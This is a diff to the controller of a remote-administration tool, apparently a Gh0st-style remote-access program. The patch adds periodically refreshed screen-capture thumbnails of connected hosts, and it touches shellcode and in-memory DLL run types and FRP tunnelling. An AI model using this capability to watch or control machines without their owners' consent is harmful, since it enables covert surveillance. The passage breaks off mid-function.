diff --git a/common/commands.h b/common/commands.h index 8140776..fd5fddc 100644 --- a/common/commands.h +++ b/common/commands.h @@ -1348,11 +1348,13 @@ enum { SHELLCODE = 0, MEMORYDLL = 1, + RUNTYPE_MAX = 2, CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码 CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam) CALLTYPE_FRPC_CALL = 2, // 调用FRPC CALLTYPE_FRPC_STDCALL = 3, // 调用FRPC(标准方式,使用开源FRP项目) + CALLTYPE_MAX = 4, }; typedef DWORD(__stdcall* PidCallback)(void); diff --git a/common/scheduler.h b/common/scheduler.h index 81c9ab3..388e0be 100644 --- a/common/scheduler.h +++ b/common/scheduler.h @@ -11,6 +11,7 @@ #define SCH_MODE_MONTHLY 4 // 每月定时模式 #define SCH_MODE_YEARLY 5 // 每年定时模式 #define SCH_MODE_OFF 6 // 关闭 +#define SCH_MODE_MAX 7 #pragma pack(push, 1) // 严格定义 16 字节结构 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 16de7d4..01705bd 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a0147a3..e5a758c 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -89,6 +89,7 @@ #define TIMER_STATUSBAR_INIT 7 #define TIMER_PREVIEW_ARRIVAL 8 // 屏幕预览到达超时(4 秒未收到则提示"预览不可用") #define TIMER_PREVIEW_LOOP 9 // "播放快照"循环拉取(间隔由 LOOP_INTERVAL_MS 决定) +#define TIMER_THUMBNAIL_REFRESH 10 // 主机列表缩略图后台刷新(间隔取自 m_ThumbnailCfg) #define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION); #define TINY_DLL_NAME "TinyRun.dll" #define FRPC_DLL_NAME "Frpc.dll" @@ -129,9 +130,12 @@ typedef struct { int nWidth; //列表的宽度 } COLUMNSTRUCT; -const int g_Column_Count_Online = ONLINELIST_MAX; // 报表的列数 +// 列表列布局:第 0 列固定为"预览"(缩略图,无数据槽),后续列对应 ONLINELIST_* 偏移 1。 +// 即 listCol == 0 → 缩略图;listCol >= 1 → ONLINELIST_(listCol - 1)。 +const int g_Column_Count_Online = ONLINELIST_MAX + 1; // 1 缩略图 + 既有数据列 COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = { + {"预览", 60 }, {"IP", 130 }, {"端口", 60 }, {"地理位置", 130 }, @@ -146,6 +150,12 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = { {"类型", 50 }, }; +// 缩略图列号常量 + 列号→数据槽映射。负返回值代表"该列无数据槽"。 +static const int COL_THUMBNAIL = 0; +static inline int ColumnToDataSlot(int listCol) { + return listCol <= COL_THUMBNAIL ? -1 : (listCol - 1); +} + // 用于应用程序“关于”菜单项的 CAboutDlg 对话框 const int g_Column_Count_Message = 3; // 列表的个数 @@ -833,6 +843,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_WHAT_IS_THIS, &CMy2015RemoteDlg::OnWhatIsThis) ON_COMMAND(ID_ONLINE_AUTHORIZE, &CMy2015RemoteDlg::OnOnlineAuthorize) ON_NOTIFY(NM_DBLCLK, IDC_ONLINE, &CMy2015RemoteDlg::OnListClick) + ON_NOTIFY(NM_CLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnListSingleClick) ON_COMMAND(ID_ONLINE_UNAUTHORIZE, &CMy2015RemoteDlg::OnOnlineUnauthorize) ON_COMMAND(ID_TOOL_REQUEST_AUTH, &CMy2015RemoteDlg::OnToolRequestAuth) ON_COMMAND(ID_TOOL_INPUT_PASSWORD, &CMy2015RemoteDlg::OnToolInputPassword) @@ -877,6 +888,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog) ON_COMMAND(ID_PARAM_PRIVACY_WALLPAPER, &CMy2015RemoteDlg::OnParamPrivacyWallpaper) ON_COMMAND(ID_PARAM_FILE_V2, &CMy2015RemoteDlg::OnParamFileV2) + ON_COMMAND(ID_PARAM_THUMBNAIL_PREVIEW, &CMy2015RemoteDlg::OnParamThumbnailPreview) ON_COMMAND(ID_PARAM_RUN_AS_USER, &CMy2015RemoteDlg::OnParamRunAsUser) ON_COMMAND(ID_PROXY_PORT, &CMy2015RemoteDlg::OnProxyPort) ON_COMMAND(ID_HOOK_WIN, &CMy2015RemoteDlg::OnHookWin) @@ -1317,6 +1329,9 @@ VOID CMy2015RemoteDlg::InitControl() m_CList_Message.ModifyStyle(0, LVS_SHOWSELALWAYS); m_CList_Message.SetExtendedStyle(style); m_CList_Message.ModifyStyle(WS_HSCROLL, 0); + + // 不在这里调 ApplyThumbnailSettings —— 调用方在 LoadThumbnailSettingsFromCfg + // 之后统一 Apply(避免"先用默认值 Apply 一次,再读 INI 后再 Apply 一次"的双绘)。 } @@ -2011,6 +2026,12 @@ BOOL CMy2015RemoteDlg::OnInitDialog() strcpy(m_settings.RequestAuthUrl, THIS_CFG.GetStr("settings", "RequestAuthUrl", BRAND_URL_REQUEST_AUTH).c_str()); strcpy(m_settings.GetPluginUrl, THIS_CFG.GetStr("settings", "GetPluginUrl", BRAND_URL_GET_PLUGIN).c_str()); m_bEnableFileV2 = THIS_CFG.GetInt("settings", "EnableFileV2", 0) != 0; + + // 缩略图配置:从 [thumbnail] 节读取(独立于 MasterSettings,纯主控端 UI 偏好)。 + // 注意:InitControl 末尾已经先调过一次 Apply(用默认值),那时 INI 还没读 → 状态是错的。 + // 这里读完 INI 后再 Apply 一次纠正过来。 + LoadThumbnailSettingsFromCfg(); + ApplyThumbnailSettings(); m_runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0); CMenu* SubMenu = m_MainMenu.GetSubMenu(2); @@ -2020,6 +2041,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, m_needNotify ? MF_CHECKED : MF_UNCHECKED); SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED); SubMenu->CheckMenuItem(ID_PARAM_FILE_V2, m_bEnableFileV2 ? MF_CHECKED : MF_UNCHECKED); + SubMenu->CheckMenuItem(ID_PARAM_THUMBNAIL_PREVIEW, m_ThumbnailCfg.Enabled ? MF_CHECKED : MF_UNCHECKED); // 互斥逻辑:三种模式 (RunNormal: 0=服务+SYSTEM, 1=普通模式, 2=服务+User) if (m_runNormal == 0) { @@ -2068,7 +2090,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() memset(&lvColumn, 0, sizeof(LVCOLUMN)); lvColumn.mask = LVCF_TEXT; lvColumn.pszText = (char*)str.data(); - m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn); + m_CList_Online.SetColumn(ONLINELIST_VIDEO + 1, &lvColumn); // +1:缩略图列占据列 0 timeBeginPeriod(1); if (IsFunctionReallyHooked("user32.dll","SetTimer") || IsFunctionReallyHooked("user32.dll", "KillTimer")) { THIS_APP->MessageBox(_TR("FUCK!!! 请勿HOOK此程序!"), _TR("提示"), MB_ICONERROR); @@ -3066,6 +3088,9 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) if (nIDEvent == TIMER_PREVIEW_LOOP) { TickLoopTips(); } + if (nIDEvent == TIMER_THUMBNAIL_REFRESH) { + TickThumbnailRefresh(); + } if (nIDEvent == TIMER_CLEAR_BALLOON) { KillTimer(TIMER_CLEAR_BALLOON); @@ -3413,7 +3438,16 @@ void CMy2015RemoteDlg::Release() UninitFileUpload(); DeletePopupWindow(TRUE); - CloseAllLoopTips(); // 关闭所有"播放快照"循环窗口 + CloseAllLoopTips(); // 关闭所有"播放快照"循环窗口 + KillTimer(TIMER_THUMBNAIL_REFRESH); + ClearAllThumbnailCache(); // 释放所有缓存 HBITMAP + // 先解绑再销毁行高 ImageList,避免 listview HWND 在 m_thumbRowHeightImgList + // 之后销毁的极端时序里短暂持有悬空 HIMAGELIST。 + if (m_thumbRowHeightImgList.GetSafeHandle()) { + m_CList_Online.SetImageList(NULL, LVSIL_SMALL); + m_thumbRowHeightImgList.DeleteImageList(); + m_thumbRowHeightApplied = 0; + } isClosed = TRUE; ShowWindow(SW_HIDE); @@ -3480,6 +3514,9 @@ int CALLBACK CMy2015RemoteDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, L void CMy2015RemoteDlg::SortByColumn(int nColumn) { + // 缩略图列点击表头不参与排序 —— 没有可比较的数据维度,避免误触发 + if (ColumnToDataSlot(nColumn) < 0) return; + static int m_nSortColumn = 0; static bool m_bSortAscending = false; if (nColumn == m_nSortColumn) { @@ -3491,14 +3528,14 @@ void CMy2015RemoteDlg::SortByColumn(int nColumn) m_bSortAscending = true; } - // 虚拟列表:对数据源进行排序 + // 虚拟列表:对数据源进行排序(列号映射到底层数据槽) EnterCriticalSection(&m_cs); - int col = m_nSortColumn; + int slot = ColumnToDataSlot(m_nSortColumn); bool asc = m_bSortAscending; std::sort(m_HostList.begin(), m_HostList.end(), - [col, asc](context* a, context* b) { - CString s1 = a ? a->GetClientData(col) : ""; - CString s2 = b ? b->GetClientData(col) : ""; + [slot, asc](context* a, context* b) { + CString s1 = a ? a->GetClientData(slot) : ""; + CString s2 = b ? b->GetClientData(slot) : ""; int result = s1.Compare(s2); return asc ? (result < 0) : (result > 0); }); @@ -3564,19 +3601,22 @@ void CMy2015RemoteDlg::OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult) // 提供文本数据 if (pItem->mask & LVIF_TEXT) { - CString text; int nCol = pItem->iSubItem; - - // 备注列特殊处理 - if (nCol == ONLINELIST_COMPUTER_NAME) { - CString note = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE); - text = !note.IsEmpty() ? note : ctx->GetClientData(nCol); + int slot = ColumnToDataSlot(nCol); + if (slot < 0) { + // 缩略图列:自绘渲染,文本置空 + if (pItem->pszText && pItem->cchTextMax > 0) pItem->pszText[0] = '\0'; } else { - text = ctx->GetClientData(nCol); - if (text.IsEmpty()) text = "?"; + CString text; + if (slot == ONLINELIST_COMPUTER_NAME) { + CString note = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE); + text = !note.IsEmpty() ? note : ctx->GetClientData(slot); + } else { + text = ctx->GetClientData(slot); + if (text.IsEmpty()) text = "?"; + } + lstrcpyn(pItem->pszText, text, pItem->cchTextMax); } - - lstrcpyn(pItem->pszText, text, pItem->cchTextMax); } *pResult = 0; @@ -3611,6 +3651,15 @@ void CMy2015RemoteDlg::OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult) if ((pItem->mask & LVIF_TEXT) && pItem->pszText && pItem->cchTextMax > 0) { std::wstring wtext; int nCol = pItem->iSubItem; + int slot = ColumnToDataSlot(nCol); + if (slot < 0) { + // 缩略图列:自绘渲染,文本置空 + pItem->pszText[0] = L'\0'; + *pResult = 0; + return; + } + // 下面的逻辑沿用旧版,但用 slot 替代 nCol 访问数据槽 + nCol = slot; if (nCol == ONLINELIST_LOGINTIME) { // "活动窗口"列:心跳到达后用旁路表里的宽字符串(已正确解码); @@ -4371,7 +4420,7 @@ void CMy2015RemoteDlg::OnMainSet() CLock L(m_cs); m_settings.ReportInterval = m; m_settings.DetectSoftware = n; - m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn); + m_CList_Online.SetColumn(ONLINELIST_VIDEO + 1, &lvColumn); // +1:缩略图列占据列 0 SendMasterSettings(nullptr, m_settings); } @@ -5742,6 +5791,11 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject); delete LoginInfor; + // 缩略图调度"急播":新上线主机立刻入队,下次 tick 就发请求(含三道门判定) + if (m_ThumbnailCfg.Enabled) { + m_ThumbNextDueTick[ContextObject->GetClientID()] = ::GetTickCount(); + } + // 执行主机上线触发器 ExecuteOnlineTrigger(ContextObject); @@ -5906,6 +5960,10 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) // 关闭对应客户端的循环快照浮窗(如有)。CloseLoopTip 内部 find 找不到会静默返回。 if (info->clientId != 0) { CloseLoopTip(info->clientId); + // 清理缩略图相关状态(缓存 + 调度 + 在飞标记)。主机已不在列表,重绘不必要。 + ClearThumbnailCacheEntry(info->clientId); + m_ThumbNextDueTick.erase(info->clientId); + m_ThumbnailPending.erase(info->clientId); } // Close child dialog window @@ -7601,6 +7659,13 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) LPNMITEMACTIVATE pNMItem = (LPNMITEMACTIVATE)pNMHDR; int iItem = pNMItem->iItem; + // 双击命中缩略图列:单击已触发 OnListSingleClick 打开循环窗口,这里不再叠加单发 tooltip + // 避免两个窗口同时出现。命中其他列时保持原有"双击 → 单发预览"行为。 + if (pNMItem->iSubItem == COL_THUMBNAIL && m_ThumbnailCfg.Enabled) { + *pResult = 0; + return; + } + CLock lock(m_cs); context* ctx = GetContextByListIndex(iItem); if (ctx) { @@ -7709,6 +7774,47 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) *pResult = 0; } +// 单击列表:仅对缩略图列起效 —— 打开循环监视窗口(等价于右键菜单"播放快照")。 +// 其余列保持系统默认(选中),不抢用户体验。 +void CMy2015RemoteDlg::OnListSingleClick(NMHDR* pNMHDR, LRESULT* pResult) +{ + *pResult = 0; + if (!m_ThumbnailCfg.Enabled) return; + + LPNMITEMACTIVATE p = (LPNMITEMACTIVATE)pNMHDR; + if (p->iItem < 0) return; + if (p->iSubItem != COL_THUMBNAIL) return; + + context* ctx = nullptr; + uint64_t cid = 0; + { + CLock L(m_cs); + ctx = GetContextByListIndex(p->iItem); + if (ctx) cid = ctx->GetClientID(); + } + if (!ctx || cid == 0) return; + + // 已经开着循环窗 → 不重复开,让现有窗口前置 + auto it = m_LoopTips.find(cid); + if (it != m_LoopTips.end() && it->second.tip && ::IsWindow(it->second.tip->GetSafeHwnd())) { + it->second.tip->ShowWindow(SW_SHOWNORMAL); + it->second.tip->BringWindowToTop(); + return; + } + + // 没有缓存的缩略图(即单元格显示的是 "…" 或 "N/A")→ 不弹窗。 + // 用户语义:能看到画面才允许点开放大;占位态下点击不做任何动作。 + auto cacheIt = m_HostThumbnails.find(cid); + bool hasBmp = (cacheIt != m_HostThumbnails.end() && cacheIt->second.bmp); + if (!hasBmp) return; + + // 锚点:点击位置附近(列表客户区坐标 → 屏幕坐标) + CPoint anchor = p->ptAction; + m_CList_Online.ClientToScreen(&anchor); + anchor.Offset(20, 10); + OpenLoopTip(ctx, anchor); +} + // 屏幕预览参数挑选:复用既有 GetTargetQualityLevel + GetScreenPreviewProfile // RTT 阈值表与屏幕共享共用(FRP 模式阈值更宽松);超清档(Ultra/High)+ 4K/超宽屏 // 时按 min(screenWidth/4, 1280) 自适应放大,避免高分屏被压成无信息缩略图 @@ -7783,14 +7889,24 @@ LRESULT CMy2015RemoteDlg::OnPreviewResponse(WPARAM /*wParam*/, LPARAM lParam) // ---------- 路径 1:循环快照(按 clientId 命中)---------- auto it = m_LoopTips.find(msg->clientId); - if (it != m_LoopTips.end()) { + if (it != m_LoopTips.end() && + it->second.expectedReqId != 0 && hdr->reqId == it->second.expectedReqId) + { + // reqId 不命中时不直接 return,让流程继续走到缩略图分支 —— 兼容"刚打开循环窗 + // 时还有上一笔缩略图请求在飞"的情况,防止 m_ThumbnailPending 条目被永久挂死。 LoopTipEntry& entry = it->second; - // 校验 reqId:每条目独立计数,过滤过期/串扰响应 - if (entry.expectedReqId == 0 || hdr->reqId != entry.expectedReqId) return 0; if (!entry.tip || !::IsWindow(entry.tip->GetSafeHwnd())) return 0; if (dataOk) { entry.tip->SetImageFromJpeg(jpeg, hdr->bytes); + // 顺手刷新列表缩略图(开循环窗的主机不再单独发请求,省一半流量) + if (m_ThumbnailCfg.Enabled) { + CacheThumbnail(msg->clientId, jpeg, hdr->bytes); + InvalidateHostRow(msg->clientId); + // 重置该主机的 due 时间,避免循环窗关掉后立刻又有缩略图请求 + DWORD now = ::GetTickCount(); + m_ThumbNextDueTick[msg->clientId] = now + (DWORD)m_ThumbnailCfg.RefreshIntervalSec * 1000; + } } else { // 单帧失败不直接关窗,标"不可用",下一轮定时器再尝试 entry.tip->MarkPreviewUnavailable(); @@ -7798,7 +7914,18 @@ LRESULT CMy2015RemoteDlg::OnPreviewResponse(WPARAM /*wParam*/, LPARAM lParam) return 0; } - // ---------- 路径 2:既有单发流程 ---------- + // ---------- 路径 2:列表缩略图(按 clientId 命中 in-flight 集合)---------- + if (m_ThumbnailPending.count(msg->clientId)) { + m_ThumbnailPending.erase(msg->clientId); + if (dataOk) { + CacheThumbnail(msg->clientId, jpeg, hdr->bytes); + InvalidateHostRow(msg->clientId); + } + // 数据非 OK 也不重试,等下个周期;保留旧缩略(如有) + return 0; + } + + // ---------- 路径 3:既有单发流程 ---------- // 序号校验:和当前期待的 reqId 不符 → 过期响应,丢弃 if (m_PreviewReqId == 0 || hdr->reqId != m_PreviewReqId) return 0; if (!m_pPreviewTip || !::IsWindow(m_pPreviewTip->GetSafeHwnd())) return 0; @@ -7991,6 +8118,302 @@ LRESULT CMy2015RemoteDlg::OnLoopTipDestroyed(WPARAM /*wParam*/, LPARAM lParam) return 0; } +// ========== 主机列表缩略图:实现 ========== +// +// 线程模型:与循环模式一致 —— m_HostThumbnails / m_ThumbNextDueTick / +// m_ThumbnailPending 全部仅 UI 线程访问。响应 PostMessage 经消息泵串行化派发。 +// +// 缓存策略:响应到达即解码 + 等比缩放到 ThumbWidth × ThumbHeight 的 HBITMAP, +// 这样自绘时只需 BitBlt 一次,无 GDI+ 开销。设置变更(尺寸)会清空所有 HBITMAP, +// 下一轮请求自然按新尺寸重建。 + +void CMy2015RemoteDlg::LoadThumbnailSettingsFromCfg() +{ + m_ThumbnailCfg.Enabled = THIS_CFG.GetInt("thumbnail", "Enabled", 1) != 0; + m_ThumbnailCfg.RefreshIntervalSec = THIS_CFG.GetInt("thumbnail", "RefreshIntervalSec", 30); + m_ThumbnailCfg.ThumbWidth = THIS_CFG.GetInt("thumbnail", "ThumbWidth", 60); + m_ThumbnailCfg.NetReqWidth = THIS_CFG.GetInt("thumbnail", "NetReqWidth", 120); + m_ThumbnailCfg.JpegQuality = THIS_CFG.GetInt("thumbnail", "JpegQuality", 60); + + // Clamp 到安全范围(防 INI 被手工编错) + if (m_ThumbnailCfg.RefreshIntervalSec < 5) m_ThumbnailCfg.RefreshIntervalSec = 5; + if (m_ThumbnailCfg.RefreshIntervalSec > 300) m_ThumbnailCfg.RefreshIntervalSec = 300; + if (m_ThumbnailCfg.ThumbWidth < 40) m_ThumbnailCfg.ThumbWidth = 40; + if (m_ThumbnailCfg.ThumbWidth > 120) m_ThumbnailCfg.ThumbWidth = 120; + if (m_ThumbnailCfg.NetReqWidth < m_ThumbnailCfg.ThumbWidth) + m_ThumbnailCfg.NetReqWidth = m_ThumbnailCfg.ThumbWidth * 2; + if (m_ThumbnailCfg.NetReqWidth > 240) m_ThumbnailCfg.NetReqWidth = 240; + if (m_ThumbnailCfg.JpegQuality < 30) m_ThumbnailCfg.JpegQuality = 30; + if (m_ThumbnailCfg.JpegQuality > 85) m_ThumbnailCfg.JpegQuality = 85; +} + +void CMy2015RemoteDlg::SaveThumbnailSettingsToCfg() const +{ + THIS_CFG.SetInt("thumbnail", "Enabled", m_ThumbnailCfg.Enabled ? 1 : 0); + THIS_CFG.SetInt("thumbnail", "RefreshIntervalSec", m_ThumbnailCfg.RefreshIntervalSec); + THIS_CFG.SetInt("thumbnail", "ThumbWidth", m_ThumbnailCfg.ThumbWidth); + THIS_CFG.SetInt("thumbnail", "NetReqWidth", m_ThumbnailCfg.NetReqWidth); + THIS_CFG.SetInt("thumbnail", "JpegQuality", m_ThumbnailCfg.JpegQuality); +} + +void CMy2015RemoteDlg::ApplyThumbnailSettings() +{ + // 任何已缓存的 HBITMAP 都是按"旧 ThumbWidth"渲染的,尺寸不再可信 —— 一律清空。 + // 下一次响应到达时按新尺寸重建。带来的代价是切换尺寸后会有一个空窗期。 + ClearAllThumbnailCache(); + + // 列宽 + 行高 跟着 ThumbWidth 走(高度 = 9/16 比例 + 上下各 2px 留白) + int thumbW = m_ThumbnailCfg.ThumbWidth; + int thumbH = thumbW * 9 / 16; + int rowH = thumbH + 4; + if (rowH < 20) rowH = 20; + + if (m_CList_Online.GetSafeHwnd()) { + // 用 SetColumnVisible 控制 col 0 的存在感 —— 仅 SetColumn(width=0) 不够: + // CListCtrlEx::AdjustColumnWidths 会在窗口拉伸时按 m_Columns[i].Percent + // 重新分配宽度,让"已关闭"的列 0 再次得到约 5% 的可见宽度。 + // SetColumnVisible 会把 m_Columns[0].Visible 置为 false,AdjustColumnWidths + // 看到不可见列直接给 0 且不计入 visiblePercent,把空间让给其它列。 + m_CList_Online.SetColumnVisible(COL_THUMBNAIL, m_ThumbnailCfg.Enabled ? TRUE : FALSE); + if (m_ThumbnailCfg.Enabled) { + // 启用时,把宽度强制设回我们想要的 thumbW + 10, + // SetColumnVisible 内部 AdjustColumnWidths 是按 percent 算出来的可能不一样 + LVCOLUMN col = {}; + col.mask = LVCF_WIDTH; + col.cx = thumbW + 10; + m_CList_Online.SetColumn(COL_THUMBNAIL, &col); + } + + // 行高 ImageList 管理: + // - 开启缩略图 → 装 1×rowH 的 dummy ImageList(rowH ≈ 38 px 撑高行) + // - 关闭缩略图 → 装 1×1 的 dummy ImageList(行高 = max(字体高, 1) ≈ 字体原生高) + // 之所以不是 SetImageList(NULL) "完全拆掉":Win32 ListView 在 ImageList 由 X→NULL + // 时**不重测行高**(行高被锁死在最后一次有 ImageList 时的值),WM_SETFONT 等踢一脚 + // 的招数也都不可靠。统一始终装一张 ImageList,只让"高度数值"变化 → ListView 每次都 + // 重测行高。1×1 的 ImageList 用户感知不到(视觉上等同于无 ImageList)。 + int targetRowH = m_ThumbnailCfg.Enabled ? rowH : 1; + if (targetRowH != m_thumbRowHeightApplied) { + m_CList_Online.SetImageList(NULL, LVSIL_SMALL); + if (m_thumbRowHeightImgList.GetSafeHandle()) { + m_thumbRowHeightImgList.DeleteImageList(); + } + m_thumbRowHeightImgList.Create(1, targetRowH, ILC_COLOR | ILC_MASK, 1, 1); + m_CList_Online.SetImageList(&m_thumbRowHeightImgList, LVSIL_SMALL); + m_thumbRowHeightApplied = targetRowH; + } + } + + // 计时器:启用时按 1 秒固定 tick 节奏轮询(per-host 各自的 nextDueTick 决定真发送) + KillTimer(TIMER_THUMBNAIL_REFRESH); + if (m_ThumbnailCfg.Enabled) { + SetTimer(TIMER_THUMBNAIL_REFRESH, 1000, nullptr); + } else { + // 关闭时连"在飞"和"待发"也清掉,避免之后误派发 + m_ThumbnailPending.clear(); + m_ThumbNextDueTick.clear(); + } + + // 触发一次列表重绘,让列宽变化生效 + if (m_CList_Online.GetSafeHwnd()) { + m_CList_Online.Invalidate(FALSE); + } +} + +void CMy2015RemoteDlg::ClearThumbnailCacheEntry(uint64_t clientID) +{ + auto it = m_HostThumbnails.find(clientID); + if (it == m_HostThumbnails.end()) return; + if (it->second.bmp) ::DeleteObject(it->second.bmp); + m_HostThumbnails.erase(it); +} + +void CMy2015RemoteDlg::ClearAllThumbnailCache() +{ + for (auto& kv : m_HostThumbnails) { + if (kv.second.bmp) ::DeleteObject(kv.second.bmp); + } + m_HostThumbnails.clear(); +} + +void CMy2015RemoteDlg::InvalidateHostRow(uint64_t clientID) +{ + if (!m_CList_Online.GetSafeHwnd()) return; + // 查 clientID -> m_HostList 索引 -> 当前过滤后的可见行 + CLock L(m_cs); + auto it = m_ClientIndex.find(clientID); + if (it == m_ClientIndex.end()) return; + size_t hostIdx = it->second; + for (size_t fi = 0; fi < m_FilteredIndices.size(); ++fi) { + if (m_FilteredIndices[fi] == hostIdx) { + m_CList_Online.RedrawItems((int)fi, (int)fi); + break; + } + } +} + +// 把收到的 JPEG 解码 + 等比缩到 ThumbWidth × thumbH,存为 24bpp DIB。 +// 失败时静默丢弃(保留旧缓存或保持空),下一轮重试。 +void CMy2015RemoteDlg::CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes) +{ + if (!jpeg || bytes == 0) return; + + // GDI+ 解码(与 CPreviewTipWnd::SetImageFromJpeg 同模式) + HGLOBAL hMem = ::GlobalAlloc(GMEM_MOVEABLE, bytes); + if (!hMem) return; + void* p = ::GlobalLock(hMem); + if (!p) { ::GlobalFree(hMem); return; } + memcpy(p, jpeg, bytes); + ::GlobalUnlock(hMem); + + IStream* stream = nullptr; + if (FAILED(::CreateStreamOnHGlobal(hMem, TRUE, &stream))) { + ::GlobalFree(hMem); + return; + } + // 注意:本 TU 顶部 `#define new DEBUG_NEW`(MFC 模式),而 Gdiplus::GdiplusBase::operator new + // 不接受 DEBUG_NEW 的 (size, file, line) 三参形式 → 局部撤宏,构造完再恢复。 +#pragma push_macro("new") +#undef new + std::unique_ptr bmp(new Gdiplus::Bitmap(stream, FALSE)); +#pragma pop_macro("new") + stream->Release(); // 接管 hMem 的释放 + if (!bmp || bmp->GetLastStatus() != Gdiplus::Ok) return; + + int dstW = m_ThumbnailCfg.ThumbWidth; + int dstH = dstW * 9 / 16; + if (dstW <= 0 || dstH <= 0) return; + + // 渲染到一张 24bpp HBITMAP(DC 兼容 + DIB 友好) + HDC hScreen = ::GetDC(nullptr); + HDC hMemDC = ::CreateCompatibleDC(hScreen); + HBITMAP hbm = ::CreateCompatibleBitmap(hScreen, dstW, dstH); + ::ReleaseDC(nullptr, hScreen); + if (!hMemDC || !hbm) { + if (hMemDC) ::DeleteDC(hMemDC); + if (hbm) ::DeleteObject(hbm); + return; + } + HBITMAP hbmOld = (HBITMAP)::SelectObject(hMemDC, hbm); + + // 底色:让等比 letterbox 留白显眼一点(深灰) + RECT rcAll = { 0, 0, dstW, dstH }; + HBRUSH hBrush = ::CreateSolidBrush(RGB(50, 50, 50)); + ::FillRect(hMemDC, &rcAll, hBrush); + ::DeleteObject(hBrush); + + // 等比缩放图像,居中放置(letterbox) + { + Gdiplus::Graphics g(hMemDC); + g.SetInterpolationMode(Gdiplus::InterpolationModeHighQualityBicubic); + g.SetSmoothingMode(Gdiplus::SmoothingModeHighQuality); + double iw = (double)bmp->GetWidth(); + double ih = (double)bmp->GetHeight(); + double sx = dstW / iw; + double sy = dstH / ih; + double s = sx < sy ? sx : sy; + int dw = (int)(iw * s + 0.5); + int dh = (int)(ih * s + 0.5); + int dx = (dstW - dw) / 2; + int dy = (dstH - dh) / 2; + g.DrawImage(bmp.get(), dx, dy, dw, dh); + } + + ::SelectObject(hMemDC, hbmOld); + ::DeleteDC(hMemDC); + + // 替换/插入缓存 + ClearThumbnailCacheEntry(clientID); + ThumbCacheEntry e; + e.bmp = hbm; e.w = dstW; e.h = dstH; + m_HostThumbnails[clientID] = e; +} + +void CMy2015RemoteDlg::SendThumbnailRequest(context* ctx) +{ + if (!ctx) return; + if (++m_ThumbnailReqId == 0) m_ThumbnailReqId = 1; + SendScreenPreviewRequest(ctx, m_ThumbnailReqId, + (WORD)m_ThumbnailCfg.NetReqWidth, + (BYTE)m_ThumbnailCfg.JpegQuality); + m_ThumbnailPending.insert(ctx->GetClientID()); +} + +// 主循环(每秒 tick 一次):扫描在线主机,触发到期 + 活跃的请求 +void CMy2015RemoteDlg::TickThumbnailRefresh() +{ + if (!m_ThumbnailCfg.Enabled) return; + + DWORD now = ::GetTickCount(); + DWORD intervalMs = (DWORD)m_ThumbnailCfg.RefreshIntervalSec * 1000; + + // 拷一份 clientId 列表,避免在 m_cs 内长时间持锁 + std::vector ids; + std::vector loopOpen; + { + CLock L(m_cs); + ids.reserve(m_HostList.size()); + for (auto* c : m_HostList) { + if (c) ids.push_back(c->GetClientID()); + } + } + // 同步:开着循环窗口的主机本轮跳过 —— 循环窗的响应会顺手填缓存(OnPreviewResponse) + for (const auto& kv : m_LoopTips) loopOpen.push_back(kv.first); + std::set loopSet(loopOpen.begin(), loopOpen.end()); + + // 限速:每跳最多发 8 台请求,避免初次铺满时瞬时拥挤 + const int kMaxPerTick = 8; + int sent = 0; + for (uint64_t cid : ids) { + if (sent >= kMaxPerTick) break; + + // 已在飞,不重复 + if (m_ThumbnailPending.count(cid)) continue; + // 开着循环窗,跳过 + if (loopSet.count(cid)) continue; + + // 到期判定(首次出现时也算到期:插入 due=now) + auto itDue = m_ThumbNextDueTick.find(cid); + if (itDue == m_ThumbNextDueTick.end()) { + // 散播:初次注册时把 due 散列到 [now, now+intervalMs) 范围,避免万人同发 + DWORD jitter = (DWORD)(intervalMs > 0 ? (cid % intervalMs) : 0); + m_ThumbNextDueTick[cid] = now + jitter; + continue; + } + if ((LONG)(itDue->second - now) > 0) continue; // 未到期 + + // 三道门:支持能力位 + 非 Locked/Inactive + bool ok = false; + context* ctx = nullptr; + { + CLock L(m_cs); + ctx = FindHostNoLock(cid); + if (ctx && ctx->SupportsScreenPreview()) { + CString a = ctx->GetClientData(ONLINELIST_LOGINTIME); + bool isIdleOrLocked = + 